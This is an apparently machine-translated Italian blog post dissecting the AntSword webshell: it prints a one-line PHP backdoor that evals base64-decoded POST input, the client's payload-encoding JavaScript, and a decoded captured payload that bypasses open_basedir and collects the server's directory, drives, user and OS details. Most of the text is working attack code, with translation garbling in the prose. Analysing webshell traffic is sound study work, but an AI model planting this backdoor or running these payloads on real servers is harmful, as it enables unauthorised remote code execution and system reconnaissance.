le mie informazioni di contatto
Posta[email protected]
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
fare riferimento a
diPrimoPer esempio
cavallo di Troia
<?php @eval(base64_decode($_POST['ant']));?>
Ottieni il contenuto del parametro ant, quindi base64 decodificalo ed eseguilo
Codificatore
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
Genera un numero casuale randomID, codifica i dati in base64 e passali al parametro randomID.
Poieval(base64_decode($_POST[${randomID}]));die();
Esegui la codifica base64
Anzi
Il Trojan lo ottiene per primodata[pwd]
Questo èant
Il valore si ottiene dopo la decodifica base64
eval(base64_decode($_POST[${randomID}]));die();
In effetti, il Trojan è diventato
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
Supponiamo che il numero casuale generato sia randomIDA
, allora è così
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
Nella seconda fase del cavallo di Troia, ildata[randomID]
, questo è$_POST[${randomID}]
, cioè qui$_POST[A]
È stato codificato in base64, quindi deve essere decodificato una volta. Quindi sorge la domanda: perché deve essere eseguito due volte? ? ?Quindi devi controllarlo dal pacchetto traffico
Non ci sono dimostrazioni qui sulla costruzione dell'ambiente. Xiaopi, Yijian e burpsuite sono sufficienti.
Decodificare la base del pacchetto dati
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
Allora diventaeval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
Dai un'occhiata a questo lungo paragrafo e risolvilo
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
Certo, non conosco molte funzioni, ma c’è l’intelligenza artificiale!
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
Questo paragrafo è
Disattiva la visualizzazione degli errori
Imposta il tempo di esecuzione dello script
Ottieni il valore di configurazione di open_basedir e bypassopen_basedir
Restrizioni sugli attributi
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
Questa sezione ottiene la directory in cui si trova lo script corrente e inizializza i parametri della stringa.$R
, attraversa la lettera dell'unità, CZ fa esplodere la lettera dell'unità, utilizza la funzione posix_getegid per ottenere il nome utente, il gruppo utente e altri contenuti dell'utente che esegue lo script, rileva$u
Se esiste. Se non esiste, usa la funzione get_current_user() per ottenerlo. Usa php_uname() per ottenere le informazioni sul sistema operativo.
A questo punto è molto chiaro. Questo codice php ottiene alla fine la directory di esecuzione corrente, la lettera dell'unità, l'utente e le informazioni sul sistema operativo del Trojan
Esegui l'output collettivo nella funzione asoutput(),
Invia il pacchetto di richiesta sopra al modulo ripetitore e scopri che i risultati restituiti sono gli stessi
Ma questo ancora non spiega perché ci sono due eval. Infatti, il contenuto passato da ant appartiene alla stringa Solo quando uno strato di eval viene posizionato all'esterno, l'eval interno verrà eseguito come funzione.
<?php
eval("eval('echo 1+1;');die();")
?>
Trasformare
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
Il risultato finale dell'output è 2, il che significa che l'eval esterno converte la stringa in una funzione per l'esecuzione e lo strato interno di eval esegue il contenuto
Quindi in questo esempio, l'eval del Trojan viene utilizzato per attivare la funzione eval nel pacchetto di richiesta, ottenendo così l'effetto dell'esecuzione del comando.